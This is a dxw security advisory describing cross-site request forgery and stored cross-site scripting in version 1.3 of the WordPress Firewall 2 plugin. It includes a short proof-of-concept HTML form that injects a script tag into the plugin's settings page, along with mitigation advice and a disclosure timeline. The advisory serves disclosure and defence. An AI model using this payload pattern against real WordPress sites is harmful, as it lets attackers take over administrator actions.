WordPress Firewall 2 version 1.3 suffers from cross site request forgery and cross site scripting vulnerabilities.
9cba4da0c8d9e5bdf1580330f2044878Details
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Software: WordPress Firewall 2
Version: 1.3
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
Description
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CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can
Vulnerability
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HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.
Proof of concept
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Visit the following page, click on the submit button, then visit the pluginas options page:
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
<input type=\"text\" name=\"set_email\" value=\"Set Email\">
<input type=\"submit\">
</form>
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.
Mitigations
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Disable the plugin until a new version is released that fixes this bug.
Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
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2016-12-23: Discovered
2017-03-16:A Reported to vendor by email
2017-04-04: Vendor could not be contacted
Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.